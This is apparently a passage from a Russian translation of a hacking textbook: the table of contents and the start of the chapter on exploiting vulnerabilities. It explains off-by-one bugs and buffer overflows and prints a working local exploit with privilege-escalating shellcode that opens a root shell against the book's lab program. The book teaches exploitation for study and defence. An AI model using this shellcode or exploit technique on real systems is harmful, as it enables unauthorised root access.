

# ОГЛАВЛЕНИЕ

<b>Предисловие</b> .....	<b>10</b>
<b>Благодарности</b> .....	<b>11</b>
От издательства .....	11
<b>0x100 Введение</b> .....	<b>12</b>
<b>0x200 Программирование</b> .....	<b>17</b>
0x210 Что такое программирование?.....	18
0x220 Псевдокод .....	19
0x230 Управляющие структуры .....	20
0x231 Конструкция if-then-else .....	20
0x232 Циклы while/until .....	22
0x233 Цикл for .....	22
0x240 Основные концепции программирования .....	24
0x241 Переменные.....	24
0x242 Арифметические операторы.....	25
0x243 Операторы сравнения .....	26
0x244 Функции.....	28
0x250 Практическое применение.....	32
0x251 Расширяем горизонты .....	33
0x252 Процессор x86.....	36
0x253 Язык ассемблера .....	38
0x260 Назад к основам.....	52
0x261 Строки .....	52
0x262 Базовые типы signed, unsigned, long и short .....	56
0x263 Указатели .....	58
0x264 Форматирующие строки .....	62
0x265 Приведение типов.....	66
0x266 Аргументы командной строки.....	73
0x267 Область видимости переменных.....	77

0x270	Сегментация памяти.....	85
0x271	Сегменты памяти в языке С.....	92
0x272	Работа с кучей .....	94
0x273	Функция malloc() с контролем ошибок.....	96
0x280	Дополнение к основам .....	98
0x281	Доступ к файлам.....	98
0x282	Права доступа к файлам .....	103
0x283	Идентификаторы пользователей .....	105
0x284	Структуры .....	114
0x285	Указатели на функции.....	117
0x286	Псевдослучайные числа .....	118
0x287	Азартные игры .....	120
<b>0x300</b>	<b>Эксплуатация уязвимостей.....</b>	<b>133</b>
0x310	Общий принцип эксплуатации уязвимостей.....	136
0x320	Переполнение буфера.....	136
0x321	Уязвимости переполнения буфера через стек .....	140
0x330	Эксперименты с оболочкой BASH .....	152
0x331	Работа с окружением .....	161
0x340	Переполнение в других сегментах памяти.....	169
0x341	Стандартное переполнение в куче .....	170
0x342	Перезапись указателя на функцию.....	176
0x350	Форматирующие строки .....	187
0x351	Параметры форматирования .....	187
0x352	Уязвимость строк форматирования .....	190
0x353	Чтение из произвольного места в памяти.....	192
0x354	Запись в произвольное место в памяти .....	193
0x355	Прямой доступ к параметрам .....	201
0x356	Запись значений типа short.....	203
0x357	Обход через секцию .ctors .....	205
0x358	Еще одна уязвимость в программе notesearch .....	210
0x359	Перезапись глобальной таблицы смещений .....	212
<b>0x400</b>	<b>Сетевые взаимодействия.....</b>	<b>216</b>
0x410	Сетевая модель OSI .....	216
0x420	Сокеты .....	219
0x421	Функции сокетов.....	220
0x422	Адреса сокетов.....	222
0x423	Сетевой порядок байтов.....	224
0x424	Преобразование интернет-адресов .....	224
0x425	Пример простого сервера.....	225

0x426	Пример с веб-клиентом.....	229
0x427	Маленький веб-сервер.....	235
0x430	Спускаемся к нижним слоям.....	239
0x431	Канальный уровень.....	240
0x432	Сетевой уровень.....	241
0x433	Транспортный уровень.....	243
0x440	Анализ сетевого трафика.....	246
0x441	Программа для перехвата raw-сокетов.....	248
0x442	Библиотека libpcap.....	250
0x443	Расшифровка уровней.....	253
0x444	Активный сниффинг.....	262
0x450	Отказ в обслуживании.....	275
0x451	SYN-флуд.....	275
0x452	Атака с помощью пингов смерти.....	280
0x453	Атака teardrop.....	280
0x454	Наводнение запросами.....	280
0x455	Атака с усилением.....	281
0x456	Распределенная DoS-атака.....	282
0x460	Перехват TCP/IP.....	282
0x461	Атака с добавлением бита RST.....	283
0x462	Дополнительные варианты перехвата.....	288
0x470	Сканирование портов.....	288
0x471	Скрытое SYN-сканирование.....	289
0x472	Сканирование с помощью техник FIN, X-mas и Null.....	289
0x473	Фальшивые адреса.....	290
0x474	Метод idle scan.....	290
0x475	Превентивная защита.....	292
0x480	Давайте взломаем что-нибудь.....	298
0x481	Анализ с помощью GDB.....	299
0x482	Почти успех.....	302
0x483	Шелл-код, привязывающий к порту.....	305
<b>0x500</b>	<b>Шелл-код.....</b>	<b>308</b>
0x510	Сравнение ассемблера и C.....	308
0x511	Системные вызовы Linux на языке ассемблера.....	311
0x520	Путь к шелл-коду.....	314
0x521	Инструкции ассемблера для стека.....	314
0x522	Использование GDB.....	317
0x523	Удаление нулевых байтов.....	318
0x530	Код запуска оболочки.....	323
0x531	Вопрос привилегий.....	328
0x532	Дополнительная оптимизация.....	330

0x540	Шелл-код, привязывающий к порту.....	332
0x541	Дублирование стандартных файловых дескрипторов .....	337
0x542	Управляющие структуры ветвлений .....	339
0x550	Шелл-код с обратным подключением .....	344
<b>0x600</b>	<b>Меры противодействия.....</b>	<b>350</b>
0x610	Средства обнаружения атак .....	351
0x620	Системные демоны.....	352
0x621	Обзор сигналов.....	353
0x622	Демон tinyweb.....	355
0x630	Инструментарий.....	360
0x631	Инструмент для эксплуатации уязвимости демона tinywebd .....	360
0x640	Файлы журналов .....	366
0x641	Затеряться в толпе.....	366
0x650	Не видя очевидного .....	368
0x651	Пошаговая инструкция.....	369
0x652	Функционирование демона .....	373
0x653	Дочерний процесс.....	379
0x660	Усиленная маскировка .....	381
0x661	Подделка регистрируемого IP-адреса.....	381
0x662	Остаться незарегистрированным.....	386
0x670	Инфраструктура в целом.....	389
0x671	Повторное использование сокетов .....	389
0x680	Контрабанда вредоносного кода .....	394
0x681	Шифрование строк.....	394
0x682	Как скрыть дорожку .....	397
0x690	Ограничения буфера.....	398
0x691	Полиморфный шелл-код из отображаемых символов ASCII.....	401
0x6a0	Усиление противодействия.....	412
0x6b0	Неисполняемый стек .....	413
0x6b1	Атака возврата в библиотеку .....	413
0x6b2	Возврат в функцию system() .....	413
0x6c0	Рандомизация стека .....	416
0x6c1	Анализ с помощью BASH и GDB .....	417
0x6c2	Возвращение из библиотеки linux-gate .....	421
0x6c3	Практическое применение знаний .....	425
0x6c4	Первая попытка .....	425
0x6c5	Уменьшаем риски .....	427

<b>0x700</b>	<b>Криптология.....</b>	<b>430</b>
0x710	Теория информации.....	431
0x711	Безусловная стойкость.....	431
0x712	Одноразовые блокноты.....	431
0x713	Квантовое распределение ключей.....	432
0x714	Вычислительная стойкость.....	433
0x720	Время работы алгоритма.....	434
0x721	Асимптотическая нотация.....	435
0x730	Симметричное шифрование.....	435
0x731	Алгоритм Гровера.....	437
0x740	Асимметричное шифрование.....	437
0x741	Алгоритм RSA.....	438
0x742	Алгоритм Шора.....	442
0x750	Гибридные шифры.....	443
0x751	Атака посредника.....	444
0x752	Разница цифровых отпечатков узлов в протоколе SSH.....	448
0x753	Нечеткие отпечатки.....	452
0x760	Взлом паролей.....	456
0x761	Перебор по словарю.....	458
0x762	Атаки с полным перебором.....	461
0x763	Поисковая таблица хэшей.....	462
0x764	Матрица вероятности паролей.....	463
0x770	Шифрование в протоколе беспроводной связи 802.11b.....	473
0x771	Протокол Wired Equivalent Privacy.....	473
0x772	Потоковый шифр RC4.....	475
0x780	Атаки на WEP.....	476
0x781	Полный перебор в автономном режиме.....	476
0x782	Повторное использование потока битов ключа.....	477
0x783	Дешифровка по словарным таблицам IV.....	478
0x784	Переадресация IP.....	478
0x785	Атака Флурера, Мантина, Шамира.....	480
<b>0x800</b>	<b>Заключение.....</b>	<b>490</b>
0x810	Ссылки.....	491
0x820	Источники.....	492

# 0x300

## ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ

Деятельность хакеров, по сути, сводится к эксплуатации уязвимостей. В предыдущей главе вы увидели, что программа состоит из сложного набора инструкций, выполняемых в определенном порядке и указывающих компьютеру, что именно следует делать. Эксплуатация уязвимостей — это ловкий способ взять компьютер под контроль, даже если запущенное в данный момент приложение способно предотвращать подобные вещи. Программы умеют делать только то, для чего они были спроектированы, соответственно, дыры в безопасности — это слабые места или недочеты в конструкции самой программы или той среды, в которой она выполняется. Для поиска таких дыр, как и для написания программ, где они отсутствуют, требуется творческий склад ума. Иногда дыры в безопасности появляются в результате относительно очевидных ошибок, но встречаются и нетривиальные случаи, которые ложатся в основу более сложных техник эксплуатации уязвимостей, применимых в самых разных сферах.

Итак, если следовать букве закона, программа может делать только то, на что она запрограммирована. Но, к сожалению, реальность далеко не всегда совпадает с замыслами и намерениями программистов. Знаете такой анекдот?

Мужик нашел в лесу лампу, потерял ее, и оттуда появился джинн. Исполню, говорит, три твоих желания! Мужик обрадовался.

«Во-первых, хочу миллион долларов».

Джинн щелкает пальцами — и появляется чемодан с деньгами.

«А еще я хочу Феррари».

Джинн снова щелкает пальцами, и из ниоткуда возникает автомобиль.

«Ну и, в-третьих, хочу, чтобы ни одна женщина не могла устоять передо мной».

Джинн щелкает — и мужик превращается в коробку шоколадных конфет.

Подобно джинну из анекдота, который делал то, о чем его просили, а не то, чего на самом деле хотел человек, программа, четко следующая инструкциям, далеко не всегда дает результат, на который рассчитывал программист. Порой расхождения между задуманным и полученным оказываются катастрофическими.

Программы создаются людьми, и иногда они пишут совсем не то, что имеют в виду. К примеру, часто встречаются *ошибки смещения на единицу* (off-by-one error) — причем куда чаще, чем можно предположить. Попробуйте решить задачу: сколько столбиков требуется для создания ограждения длиной в 100 метров, если они вбиваются на расстоянии 10 метров друг от друга? Кажется, что их должно быть 10, но правильный ответ — 11. Эту ошибку называют *ошибкой заборного столба*, и возникает она, когда кто-то считает элементы вместо интервалов между ними и наоборот. Аналогичная ситуация имеет место при выборе диапазона чисел при обработке элементов с некоего  $N$  по некое  $M$ . Если, скажем,  $N = 5$ , а  $M = 17$ , сколько элементов требуется обработать? Очевидным кажется ответ:  $M - N = 17 - 5 = 12$ . Но на самом деле у нас здесь  $M - N + 1$  элемент, то есть всего их 13. На первый взгляд ситуация кажется нелогичной, и именно поэтому возникают описанные выше ошибки.

Зачастую они остаются незамеченными, так как при тестировании никто не проверяет все возможные случаи, а в процессе обычного запуска программы ошибка заборного столба себя никак не проявляет. Но входящие данные, при которых она становится заметной, порой способны катастрофически повлиять на логику всей программы. Вредоносный код, эксплуатирующий ошибку смещения на единицу, обнаруживает слабые места в защищенных на первый взгляд приложениях.

Классический пример — оболочка OpenSSH, которая задумывалась как набор программ для защищенной связи с терминалом, предназначенный для замены таких небезопасных и нешифрованных служб, как telnet, rsh и rcp. Однако в коде, отвечающем за выделение каналов, оказалась ошибка смещения на единицу, и ее начали активно эксплуатировать. Это был следующий код оператора if:

---

```
if (id < 0 || id > channels_alloc) {
```

---

На самом деле требовалось вот такое условие:

---

```
if (id < 0 || id >= channels_alloc) {
```

---

На обычном языке этот код означает: «Если идентификатор меньше 0 или больше числа выделенных каналов, сделайте следующее...» А нужно было написать: «Если идентификатор меньше 0 или больше числа выделенных каналов либо равен ему, сделайте следующее...»

Эта ошибка позволила обычным пользователям получать в системе права администратора. Разумеется, разработчики защищенной программы OpenSSH не собирались добавлять в нее такой возможности, но компьютер делает только то, что ему приказано.

Ошибки программистов, пригодные для эксплуатации, часто возникают при быстрой модификации программ с целью расширения их функциональности. Это делают, чтобы увеличить рыночную стоимость программного продукта, но одновременно растет и его сложность, что повышает вероятность ошибок. Набор серверов IIS создавался Microsoft для предоставления пользователям статического и динамического веб-контента. Но для этого требуется право на чтение, запись и выполнение программ в строго определенных папках — и ни в каких других. В противном случае пользователи получают полный контроль над системой, что недопустимо с точки зрения безопасности. Чтобы предотвратить такое, разработчики добавили в программу код проверки маршрутов доступа, запрещающий пользователям использовать символ обратного слеша для перемещения вверх по дереву папок и для входа в другие папки.

Но добавленная к программам для серверов IIS поддержка стандарта Unicode еще сильнее увеличила их сложность. Все символы *Unicode* имеют размер в 2 байта. Этот стандарт разрабатывался, чтобы охватить символы всех существующих вариантов письменности, включая китайские иероглифы и арабскую вязь. Так как в Unicode используются два байта на элемент, появилась возможность кодировать десятки тысяч символов, в то время как однобайтовых символов было всего несколько сотен. В результате для обратного слеша появилось несколько представлений. Например, в стандарте Unicode в него преобразуется запись %5с, причем это происходит *после* проверки допустимости маршрута. Замена \ на %5с давала возможность перемещаться по дереву папок и использовать описанную выше уязвимость. Именно эту ошибку и использовали для взлома веб-страниц черви Sadmind и CodeRed.

Для наглядности я приведу пример буквального толкования закона, не связанный с программированием. Это «лазейка Ламаккьи». В законодательстве США, как и в инструкциях компьютерных программ, встречаются правила, читающиеся во все не так, как изначально задумывалось. И юридические лазейки подобно уязвимостям программного обеспечения некоторые люди используют для того, чтобы обойти закон.

В конце 1993 года 21-летний студент Массачусетского технологического института Дэвид Ламаккья создал доску объявлений Synosure для обмена ворованным программным обеспечением. Пираты загружали программы на серверы, откуда их могли скачать все желающие. Система просуществовала всего шесть недель, но генерируемый трафик был настолько большим, что в конечном счете привлек внимание университетского руководства и федеральных властей. Производители программного обеспечения утверждали, что в результате деятельности Ламаккьи они потерпели убытки в размере миллиона долларов, а Большое жюри федерального суда предъявило молодому человеку обвинение в сговоре с неизвестными лицами в целях совершения мошеннических действий с использованием электронных средств связи. Но обвинение было снято, так как, с точки зрения закона об авторском праве, в действиях Ламаккьи отсутствовал состав преступления — ведь он не получал личной выгоды. В свое время законодатели просто не подумали о том, что кто-то может бескорыстно заниматься подобными вещами. В 1997 году



Конгресс закрыл лазейку Актом против электронного воровства. В этом примере не эксплуатируется уязвимость компьютерных программ, но судей можно сравнить с машинами, выполняющими требования закона в том виде, как они написаны. Понятие взлома применимо не только к компьютерам, но и к другим жизненным ситуациям, основанным на сложных схемах.

## 0x310 Общий принцип эксплуатации уязвимостей

Такие ошибки, как смещение на единицу или некорректное использование Unicode, сложно увидеть при написании кода, хотя впоследствии их легко обнаружит любой программист. Но есть и распространенные ошибки, которые эксплуатируются не столь очевидными способами. Их влияние на безопасность не всегда очевидно, при этом уязвимости обнаруживаются в различных фрагментах кода. Так как однотипные ошибки появляются в разных местах, возникла универсальная техника их эксплуатации.

Большинство вредоносных программ имеет дело с нарушением целостности памяти. К ним относится и распространенная техника переполнения буфера, и менее известная эксплуатация уязвимости форматизирующих строк. Во всех случаях конечная цель сводится к получению контроля над выполнением атакованной программы, чтобы заставить ее запустить помещенный в память фрагмент вредоносного кода. Такой тип перехвата процесса известен как *выполнение произвольного кода*. Уязвимости, подобные «лазейке Ламаккьи», возникают из-за ситуаций, которые программа не может обработать. Обычно в таких случаях программа аварийно завершается, но в случае тщательного контроля над средой работа программы берется под контроль, аварийное завершение предотвращается, а затем запускается посторонний код.

## 0x320 Переполнение буфера

*Переполнение буфера* (buffer overrun или buffer overflow) — это уязвимость, известная с момента появления компьютеров и существующая до сих пор. Ее использует большинство червей, и даже уязвимость реализации языка векторной разметки в Internet Explorer обусловлена именно переполнением буфера.

В таких языках высокого уровня, как C, предполагается, что за целостность данных отвечает программист. Если переложить эту обязанность на компилятор, работа итоговых двоичных файлов сильно замедлится, так как придется проверять целостность каждой переменной. Кроме того, в таком случае программист в значительно меньшей степени будет контролировать поведение программы, а язык станет сложнее.

Простота языка C позволяет делать приложения более эффективными и предсказуемыми, но ошибки, допущенные во время написания кода, порой становятся причиной таких уязвимостей, как переполнение буфера и утечки памяти,

поскольку не существует механизма, проверяющего, помещается ли содержимое переменной в выделенную для нее область памяти. Если программист захочет поместить десять байтов данных в буфер, под который выделено восемь байтов пространства, ничто не помешает это сделать, хотя результатом, скорее всего, станет аварийное завершение программы. Такая ситуация и называется *переполнением буфера*. Лишние два байта данных, вышедшие за пределы отведенной области памяти, записываются вне ее и стирают находящиеся там данные. Если таким образом будет уничтожен важный фрагмент данных, программа аварийно завершит работу. В качестве примера давайте рассмотрим программу `overflow_example.c`.

---

**overflow\_example.c**

```
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
    int value = 5;
    char buffer_one[8], buffer_two[8];

    strcpy(buffer_one, "one"); /* Помещаем "one" в buffer_one */
    strcpy(buffer_two, "two"); /* Помещаем "two" в buffer_two */

    printf("[ДО] buffer_two по адресу %p и содержит '%s'\n", buffer_two,
           buffer_two);
    printf("[ДО] buffer_one по адресу %p и содержит '%s'\n", buffer_one,
           buffer_one);
    printf("[ДО] value по адресу %p и равно %d (0x%08x)\n", &value, value, value);

    printf("\n[STRCPY] копируем %d байтов в buffer_two\n\n", strlen(argv[1]));
    strcpy(buffer_two, argv[1]); /* Копируем первый аргумент в переменную
                                buffer_two */

    printf("[ПОСЛЕ] buffer_two по адресу %p и содержит '%s'\n", buffer_two,
           buffer_two);
    printf("[ПОСЛЕ] buffer_one по адресу %p и содержит '%s'\n", buffer_one,
           buffer_one);
    printf("[ПОСЛЕ] value по адресу %p и равно %d (0x%08x)\n", &value, value,
           value);
}
```

---

Вы уже должны уметь читать код и разбираться в том, что делает программа. Результат компиляции этой программы вы видите ниже. Обратите внимание, что мы пытаемся скопировать десять байтов из первого аргумента командной строки в переменную `buffer_two`, под которую выделено всего восемь байтов.

---

```
reader@hacking:~/booksrc $ gcc -o overflow_example overflow_example.c
reader@hacking:~/booksrc $ ./overflow_example 1234567890
[ДО] buffer_two по адресу 0xbffff7f0 и содержит 'two'
[ДО] buffer_one по адресу 0xbffff7f8 и содержит 'one'
[ДО] value по адресу 0xbffff804 и равно 5 (0x00000005)
```

```
[STRCPY] копируем 10 байтов в buffer_two

[ПОСЛЕ] buffer_two по адресу 0xbffff7f0 и содержит '1234567890'
[ПОСЛЕ] buffer_one по адресу 0xbffff7f8 и содержит '90'
[ПОСЛЕ] value по адресу 0xbffff804 и равно 5 (0x00000005)
reader@hacking:~/booksrc $
```

Переменная `buffer_one` расположена в памяти сразу за переменной `buffer_two`, поэтому при копировании десяти байтов последние два (значение `90`) перезаписывают содержимое переменной `buffer_one`.

Если увеличить буфер, он естественным образом заместит другие переменные и, начиная с какого-то размера, станет приводить к аварийному завершению работы программы.

```
reader@hacking:~/booksrc $ ./overflow_example AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[ДО] buffer_two по адресу 0xbffff7e0 и содержит 'two'
[ДО] buffer_one по адресу 0xbffff7e8 и содержит 'one'
[ДО] value по адресу 0xbffff7f4 и равно 5 (0x00000005)
```

```
[STRCPY] копирование 29 байтов в buffer_two

[ПОСЛЕ] buffer_two по адресу 0xbffff7e0 и содержит 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[ПОСЛЕ] buffer_one по адресу 0xbffff7e8 и содержит 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[ПОСЛЕ] value по адресу 0xbffff7f4 и равно 1094795585 (0x41414141)
Segmentation fault (core dumped)
reader@hacking:~/booksrc $
```

Аварийные прерывания такого типа встречаются сплошь и рядом. Вспомните, сколько раз вы видели «синий экран смерти» (BSOD). В нашем случае для устранения ошибки в программу следует добавить проверку длины или ввести ограничение на вводимые пользователем данные. Допустить такую ошибку легко, а вот отследить трудно. Например, она присутствует в программе `notesearch.c` из раздела `0x283`, а вы ее, скорее всего, и не заметили, даже если знаете язык C.

```
reader@hacking:~/booksrc $ ./notesearch AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-----[ конец заметки ]-----
Segmentation fault
reader@hacking:~/booksrc $
```

Такие раздражающие пользователей аварийные завершения в руках хакера могут превратиться в грозное оружие. Компетентный человек в этот момент способен перехватить управление программой, как показано в примере `exploit_notesearch.c`.

---

**exploit\_notesearch.c**

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
    unsigned int i, *ptr, ret, offset=270;
    char *command, *buffer;

    command = (char *) malloc(200);
    bzero(command, 200); // Обнуляем новую память

    strcpy(command, "./notesearch `"); // Начинаем буфер command
    buffer = command + strlen(command); // Переходим в конец буфера

    if(argc > 1) // Задаем смещение
        offset = atoi(argv[1]);

    ret = (unsigned int) &i - offset; // Задаем адрес возврата
    for(i=0; i < 160; i+=4) // Заполняем буфер адресом возврата
        *((unsigned int *)(buffer+i)) = ret;
    memset(buffer, 0x90, 60); // Строим дорожку NOP
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

    strcat(command, "`");

    system(command); // Запускаем вредоносный код
    free(command);
}
```

---

Подробно принцип действия приведенного кода будет рассмотрен чуть позже, пока же я опишу общий смысл происходящего. Мы генерируем командную строку, выполняющую программу notesearch с заключенным в одиночные кавычки аргументом. Это реализуется с помощью следующих строковых функций: `strlen()` дает нам текущую длину строки (для размещения указателя на массив), а `strcat()` устанавливает в конце закрывающую одиночную кавычку. Затем системная функция запускает полученную командную строку. Сгенерированный между одиночными кавычками массив и есть основа вредоносного кода. Остальная часть программы служит для доставки этой ядовитой пилюли по месту назначения. Смотрите, что можно сделать, управляя аварийным завершением программы:

---

```
reader@hacking:~/booksrc $ gcc exploit_notesearch.c
reader@hacking:~/booksrc $ ./a.out
[DEBUG] обнаружена заметка длиной в 34 байта для id 999
[DEBUG] обнаружена заметка длиной в 41 байт для id 999
-----[ конец заметки ]-----
sh-3.2#
```

---